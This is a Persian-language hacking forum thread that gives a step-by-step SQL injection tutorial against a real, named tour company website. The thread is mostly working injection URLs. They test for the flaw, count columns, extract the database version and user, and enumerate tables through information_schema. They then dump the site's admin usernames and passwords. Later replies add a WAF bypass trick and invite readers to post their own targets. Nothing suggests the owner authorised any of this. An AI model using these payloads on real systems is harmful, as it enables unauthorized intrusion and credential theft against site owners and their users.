انجمن تیم امنیتی ایران سایبر

آموزش های قدم به قدم Sql Injection

شروع موضوع توسط root3r ‏1/8/15 در انجمن Database Hacking

  1. لطفا فایل های خود را جهت ماندگاری در انجمن اپلود کنید در صورت مشاهده لینک اپلود خروجی , تاپیک حذف خواهد شد .
    بستن اطلاعیه
بستن اطلاعیه


درود مهمان گرامي؛

مهمان گرامي، براي مشاهده تالار با امکانات کامل ميبايست از طريق ايــن ليـــنک ثبت نام کنيد .

شرکت امنیتی ایران سایبر - برگزار کننده دوره های آموزشی و مسابقات فتح پرچم (CTF)
برچسب ها:
  1. root3r
    مدیریت کل سایت

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏12/10/14
    ارسال ها:
    1,063
    تشکر شده:
    1,595
    جنسیت:
    شغل:
    Network Security
    محل سکونت:
    Iran
    Name:
    حسین
    Main os:
    Kali
    با سلام خدمت همه دوستان و عزیزان با توجه به اینکه بخش Database Hacking خالیست و آموزش های مفیدی در آن نیست با مدیران تصمیم گرفتیم پست های غیر مفید را حذف و آموزش های مفید قرار بدیم !

    باتوجه به عنوان آموزش ها به صورت کوتاه و قدم به قدم است و به اینصورت بهتر میتونیم بهتر Sql Injection درک کنیم !
    از برای نمایش این قسمت باید وارد سیستم شوید یا اینکه ثبت نام نماییدجان و دیگر دوستان که در این بخش کمک کردند , متشکرم !

    قوانین :
    1- از اسپم به شدت بپردازید .
    2-سوالات خود را در بخش Q/A مطرح کنید .
    3- از کپی کردن از سایت های دیگر به شدت خوداری کنید

    نکته : سعی کنید آموزش ها تا حد امکان ساده باشد و بصورت ویدئویی باشد .
     
    آخرین ویرایش: ‏1/8/15
    Zahra B، WH!T3 W01F، khofash و یک نفر دیگر از این ارسال تشکر کرده اند.
  2. root3r
    مدیریت کل سایت

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏12/10/14
    ارسال ها:
    1,063
    تشکر شده:
    1,595
    جنسیت:
    شغل:
    Network Security
    محل سکونت:
    Iran
    Name:
    حسین
    Main os:
    Kali
    سلام خدمت دوستان ,
    خب در اولین بخش به ساده ترین بخش Sql Injection میپردازیم , که نیاز به هیچگونه bypass و ... ندارد !
    تارگت ما :
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=11


    اولین مرحله : تست اسیب پذیری
    در اولین قدم باید چک کنیم سایت اسیب پذیر هست یا خیر. در Sql Injection برای تست وجود اسیب پذیری از تک کوتیشن ( ' ) و یا حرف کد شده ی ( %27 ) استفاده میکنیم که با هم تفاوتی ندارد در حقیقت %27 حرف کد شده ی تک کوتیشن هست ! که اگر دقت کرده باشید در مرورگر هم در صورت تست اسیب پذیری به حرف کد شده تبدیل میشود !

    تست اسیب پذیری تارگت :
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=11'
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=11%27
    به این صورت تست اسیب پذیری خواهیم کرد !

    حال اگر سایت بدون هیچ ارور و هیچگونه تغییراتی کامل Load شود یعنی سایت ما اسیب پذیر نیست .
    ولی اگر تارگت ما مثل تارگت بالا با ارور مواجه شود و یا به طور کامل لود نشود و یا ... , سایت مورد نظر در برابر Sql Injection اسیب پذیر است و با استفاده از دستورات و متد های Sql قابل Inject شدن است !
    ارور :
    کد:
    Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/eyeofafricatou/T6ZRBEP1/htdocs/tour.php on line 6
    نکته : هر ارور به معنای اینکه سایت در برابر SQL Injection اسیب پذیر است , نیست .


    خب دوستان در بخش بعدی با نحوه پیدا کردن تعداد ستون ها ( Column ) اشنا خواهیم شد وبعد, ویدئویی از این دو بخش خواهیم شد !
    موفق باشید .
     
    آخرین ویرایش: ‏2/8/15
    M2M2، Madmazel، travail و 7 نفر دیگر از این ارسال تشکر کرده اند.
  3. root3r
    مدیریت کل سایت

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏12/10/14
    ارسال ها:
    1,063
    تشکر شده:
    1,595
    جنسیت:
    شغل:
    Network Security
    محل سکونت:
    Iran
    Name:
    حسین
    Main os:
    Kali
    سلام خدمت دوستان .

    دومین مرحله : پیدا کردن ستون ها ( Column ) :

    برای پیدا کردن تعداد ستون ها از دستور order by استفاده میکنیم , البته دستورات دیگر هم هست که در پست های قبلی اشاره کردیم به ساده ترین بخش Sql Injection میپردازیم , که نیاز به هیچگونه bypass و ... ندارد !

    تعداد ستون ها , بیشترین عددی (ستون) که بدون خطا لود میشود , است . ابتدا میاییم چند ستون , حدس میزنیم و بعد تست میکنیم !
    بطور مثال :
    ستون های حدسی ما 15 ...
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
    دو حالت دارد :
    1-
    سایت ارروری نمیدهد و کاملا سالم لود میشود
    2- سایت اررور میدهد , که در این حالت تعداد ستون هایی که حدس زدیم , کمتر است . اگر بالا دقت کنید , سایت اررور میدهد به این معناست که تعداد ستون های ما کمتر از 15 است .

    برای یاد گیری بهتر :
    کد:
        http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%201--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%202--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%203--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%204--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%205--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%206--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%207--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%208--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%209--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%2010--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%2011--
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%2012--
    
    اگر تک تک چک کنید , مشاهده میکنید که تا 11 بدون هیچ اروری و بدون هیچ مشکلی سایت لود میشود , اما در 12 , ما با اررور مواجه میشیم و همانطور که گفتیم تعداد ستون ها , بیشترین عددی که بدون لود ظاهر شود یعنی در اینجا تعداد ستون های 11 تا است .
    تعداد ستون های ما :
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=11%20order%20by%2011--
    نکته : %20 < کد شده ی space است .
    نکته : میتونید بجای space از + هم استفاده کنید .


    نمونه :
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=11+order+by+11--
    نکته : میتونید تعداد ستون ها هم باهم چک کنید .

    نمونه :

    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=11+order+by+1,2,3,4,5,6,7,8,9,10,11--


    برای مشاهده با کفیت بهتر بر روی HD کلیک کنید .
    در بخش بعدی نحوه پیدا کردن ستون های اسیب پذیر و نحوه بیرون کشیدن ورژن DB خواهیم پرداخت و بعد هم طبق معمول ویدئو از دو بخش ...
    کپی به همراه ذکر منبع بلا مانع است .
     
    آخرین ویرایش: ‏2/8/15
    travail، 0day، Zahra B و 2 نفر دیگر از این ارسال تشکر کرده اند.
  4. root3r
    مدیریت کل سایت

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏12/10/14
    ارسال ها:
    1,063
    تشکر شده:
    1,595
    جنسیت:
    شغل:
    Network Security
    محل سکونت:
    Iran
    Name:
    حسین
    Main os:
    Kali
    سلام خدمت دوستان , انشالله سلامت باشید ...

    با اجازه دوستان میریم سراغ مرحله سوم :

    شناسایی و پیدا کردن ستون های ( Column ) اسیب پذیر :

    بعد از بدست اوردن تعداد ستون ها ( Column) برای ادامه کارمون باید ستون های اسیب پذیر هم , بدست اوردیم ... و برای بدست آوردن تعداد ستون های اسیب پذیر از دستور union select استفاده میکنیم و بعد تعداد ستون هارا به ترتیب قرار قرار میدهیم .
    به عنوان نمونه :

    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11--
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11--
    فرقی ندارند در واقع علامت > + < Hex شده ی Space است ... .

    ستون های اسیب پذیر :

    [​IMG]

    خب همانطور که میبینید در این تارگت , ستون های 3 , 4 ,5 , 6 اسیب پذیر هستند و میتونید به دلخواه یکی انتخاب کنید و شروع به ادامه Inject کنید ...


    مرحله چهارم :

    • نحوه بیرون کشیدن ورژن Database
    • , نحوه بیرون کشیدن نام Database
    • نحوه بیرون کشیدن نام یوزر Database اشنا خواهیم شد .

    برای بیرون کشیدن ورژن دیتابییس , فقط کافیست [email protected]@ یا ()version بجای یکی از ستون های اسیب پذیر قرار دهیم !​

    کد:
    version()
    کد:
    @@version
    برای نمونه :

    از ستون 3 استفاده میکنیم :
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11%20UNION%20SELECT%201,2,version(),4,5,6,7,8,9,10,11--
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11%20UNION%20SELECT%201,2,@@version,4,5,6,7,8,9,10,11--
    و بعد به این شکل ورژن دیتابیس , برای ما نمایش میده !

    [​IMG]


    خب , ورژن دیتابیس رو مشاهده کردیم !
    اگر ورژن دیتابیس کمتر از 5 باشد برای بدست اوردن نام تیبل های سایت باید از روش حدسی استفاده نماییم که در اینجا ورژن دیتابیس 5 و بالا تر است ... . این هم دلیل این است که چرا به ورژن دیتابیس نیاز داریم ...


    برای بیرون کشیدن نام دیتابیس از ()Database استفاده میکنیم !
    کد:
    database()


    و برای بیرون کشیدن نام یوزر دیتابیس از ()user استفاده میکنیم !
    کد:
    user()

    نمونه :
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11+UNION+SELECT+1,2,version(),4,database(),user(),7,8,9,10,11--
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11%20UNION%20SELECT%201,2,version(),4,database(),user(),7,8,9,10,11--
    [​IMG]
    نکته : تمام این ها باید بجای ستون های آسیب پذیر قرار بگیرد ...
    در مراحل بعد با نحوه فراخوانی Database برای بیرون کشیدن Table اشنا خواهیم شد ...
     
    آخرین ویرایش: ‏4/8/15
    davala، travail، 0day و 4 نفر دیگر از این ارسال تشکر کرده اند.
  5. root3r
    مدیریت کل سایت

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏12/10/14
    ارسال ها:
    1,063
    تشکر شده:
    1,595
    جنسیت:
    شغل:
    Network Security
    محل سکونت:
    Iran
    Name:
    حسین
    Main os:
    Kali
    سلام خدمت دوستان .
    ویدئو هم از این دو بخش به صورت کامل تهیه شد .
    و یک مسئله هم در مورد تست اسیب پذیری , اضافه شد .
    تست اسیب پذیری به روش منطقی : این تست توسط یک روش منطقی یا یک شرط انجام میشود , که اگر اخر url و and 1=1 اضافه کنیم سایت کاملا سالم لود خواهد شد ( همه ما میدونیم 1=1 هم هست و باهم برابرند ) ولی اگر and 1=2 قرار دادیم صفحه اگر بالا نیاید ( سفید و بدون محتوا ) یا تغییری کرد احتملا وجود اسیب پذیری Sql Injection است .

    نمونه :
    کد:
    www.eyeofafricatours.co.za/tour.php?id=1 and 1=1
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=1%20and%201=2
    سوالی داشتید در بخش Q/A مطرح کنید و برای مشاهده ویدئو با کیفیت بهتر بر روی HD کلیک کنید .

     
    davala، Sweet Revenge، inj3ctor و 2 نفر دیگر از این ارسال تشکر کرده اند.
  6. root3r
    مدیریت کل سایت

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏12/10/14
    ارسال ها:
    1,063
    تشکر شده:
    1,595
    جنسیت:
    شغل:
    Network Security
    محل سکونت:
    Iran
    Name:
    حسین
    Main os:
    Kali
    مرحله پنجم : فراخوانی دیتابیس

    خب دوستان بعد از مراحل قبل , میرسیم به فراخوانی دیتابیس برای بیرون کشیدن تیبل ادمین :
    همونطور که در بالا مشاهده کردید , ورژن دیتابیس و بالای 5 بود , که در Mysql در این ورژن و بالاتر دیتابیسی با نام information_schema اضافه شده است که خود یک باگ بزرگ در Mysql هست ...

    نحوه فراخوانی Tables :
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11%20UNION%20SELECT%201,2,group_concat(table_name),4,5,6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema=database()--
    

    Or
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()--


    تیبل های نمایش داده شده :

    [​IMG]
    خب , همانطور که مشاهده کردید از (group_concat(table_name استفاده کردیم که اگر از این استفاده نکنیم تیبل ها بصورت تک تک نمایش داده خواهند شد .

    تیبل ها تارگت ما :
    کد:
    tblhome,tbllinks,tblservices_service,tblservices_type,tbltour_tours,tbltour_types,tbluser 

    تیبل های ادمین اغلب به این چنین هستند : tbleuser , admin , login , user , users , username , tbladmin و ...
    که با تیبل tbluser باهم چک میکنیم ...



    مرحله ششم : بیرون کشیدن column های یک Table یا فراخوانی تیبل ادمین :

    برای فراخوانی تیبل ادمین ( هرتیبلی ) از دستور where استفاده میکنیم , برای فراخوانی column های یک تیبل , تیبل مورد نظر رو باید Hex کنید , که میتونید از Hack Bar استفاده کنید که ما تیبل tbleuser رو به Hex تبدیل کردیم که شد 74626c75736572 و برای اینکه به صورت Hex خوانده بشه 0x اضافه میکنیم و بعد هگز مورد نظر در ادامه اضافه میکنیم به این صورت 0x74626c75736572 و در ادامه کار ...
    hack bar نصب کنید و مسیر :
    Encoding < hex coding <string to 00ff00ff

    در ادامه کار به اینصورت :
    کد:
    http://www.eyeofafricatours.co.za/tour.php?id=-11+UNION+SELECT+1,2,group_concat(column_name),4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=0x74626c75736572--
    [​IMG]

    از دوستانی که همکاری کردند بخصوص ProMis , برای نمایش این قسمت باید وارد سیستم شوید یا اینکه ثبت نام نمایید تشکر میکنم .

    در قسمت های بعدی درخدمت شما هستیم .
    موفق باشید .
     
    Mr_Security، Pi.Hack، khofash و یک نفر دیگر از این ارسال تشکر کرده اند.
  7. WH!T3 W01F
    مدیر بازنشسته

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏7/12/14
    ارسال ها:
    310
    تشکر شده:
    534
    جنسیت:
    محل سکونت:
    usr/bin/perl/!#
    Name:
    WH!T3_W01F
    Main os:
    Windows
    خب باتشکر از root3r عزیز بابت تاپیک و آموزش های خوبشون.
    دوستان یک نکته رو فراموش نکنید که هنگام بیرون کشیدن کالمن ها(ستون ها)ی یک تیبل در قسمت های (group_concat(table_name و information_schema.tables و ()table_schema=database باید به اینها تغییر داده بشن :
    (group_concat(column_name و information_schema.columns و table_name=0xhex و منظور از 0xhex ، هگز شده ی نام تیبل هست.

    مرحله هفتم : بیرون کشیدن اطلاعات از درون تیبل ها و ستون های آنها :
    خب ما کالمن ها ( ستون های ) تیبل tblusers روبیرون کشیدیم و همونطور که مشخص هست ستون های مهم txtuser و txtpassword هستند.
    وقتی ما میخوایم اطلاعات رو بیرون بکشیم باید تمام دستورات بعد از from رو پاک کنید و به جای اونها نام تیبل رو به صورت هگر نشده قرار دهیم.
    همچنین در قسمت (group_concat(column_name باید به جای column_name نام ستون ها(کالمن ها) رو قرار بدیم.توجه کنید که بین نام کالمن ها باید کاما ( , ) قرار بگیره.
    پس به اینصورت خواهد شد :

    PHP:
    http://www.eyeofafricatours.co.za/tour.php?id=-11+UNION+SELECT+1,2,group_concat%28txtuser,txtpassword%29,4,5,6,7,8,9,10,11+from+tbluser--

    به اینصورت :

    [​IMG]

    اما همانطور که میبینید اطلاعات یوزرنیم و پسورد به این شکل قابل نمایش هستند و تشخصی ان سخت میشود .
    و میاییم از هگز ( : ) برای جدا کردن از هم دیگر استفاده میکنیم که بین اطلاعات هر ستون ( : ) قرار بده

    هگز مورد نظر: 0x3a
    به این صورت :
    PHP:
    http://www.eyeofafricatours.co.za/tour.php?id=-11+UNION+SELECT+1,2,group_concat%28txtuser,0x3a,txtpassword%29,4,5,6,7,8,9,10,11+from+tbluser--

    به اینصورت:

    [​IMG]
    میبینید که خیلی بهتر میتونیم اطلاعات رو ببینیم.

    تماشای فیلم آموزشی از آپارات :


    انشالله در تاپیک های بعدی اموزش قدم به قدم Mssql Inject قرار خواهیم داد .
     
    آخرین ویرایش: ‏13/8/15
    Mr_Security، travail، Sweet Revenge و 5 نفر دیگر از این ارسال تشکر کرده اند.
  8. travail
    کاربرتازه وارد

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏23/3/16
    ارسال ها:
    2
    تشکر شده:
    0
    جنسیت:
    Name:
    مهران
    Main os:
    Windows
    سلام...خیلی ممنون از تاپیک ارزشمندتون...من این تاپیکو نگاه کردم و یک سوال برام پیش اومد، و اونم اینه که چرا خروجی این کد که شما دادید مثله عکسه نیست و می نویسه :
    Forbidden

    You don't have permission to access /tour.php on this server.
    Apache Server at برای نمایش این قسمت باید وارد سیستم شوید یا اینکه ثبت نام نمایید Port 80

    ؟
     
  9. 0x3a
    مدیریت انجمن

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏22/6/15
    ارسال ها:
    389
    تشکر شده:
    2,166
    جنسیت:
    محل سکونت:
    ایران ، خوزستان ، اهواز
    Name:
    Taha
    Main os:
    Windows
    در حملات SQL Injction هر Error یک Bypass مخصوص به خود داره
    برای بایپس Forbidden شما باید دستوراتتون رو به این شکل کنید :
    کد:
    /*!50000union*/+/*!50000select*/
     
    JOK3R، MOHAMAD-NOFOZI و travail از این ارسال تشکر کرده اند.
  10. zohrezr1
    کاربرتازه وارد

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏30/1/19
    ارسال ها:
    1
    تشکر شده:
    0
    جنسیت:
    Name:
    zohre
    Main os:
    Windows
    سلام ببخشید من بعد از مرحله ی پنجم چیزی رو نمی تونم توی سایت به به دست بیارم نه اسم جدول هارو نه ستون هاشو و نه اطلاعات ستون هارو
     
  11. blackops
    مدیریت ارشد

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏15/9/17
    ارسال ها:
    268
    تشکر شده:
    1,786
    Name:
    hesmat
    Main os:
    Windows
    بعضی اوقات بعضی از waf ها جلوی عملیات اینجکت رو میگیرن و باید با بایپس خاصی پیش برید.
    در صورت امکان آدرس تارگتتونو قرار بدید تا بررسی بشه.
     
    0x3a، Mr_Security، JOK3R و یک نفر دیگر از این ارسال تشکر کرده اند.
بارگذاری...
به انجمن تخصصی امنیت ایران سایبر خوش آمدید . برای مشاهده تمامی تالار ها و امکانات ثبت نام کنید .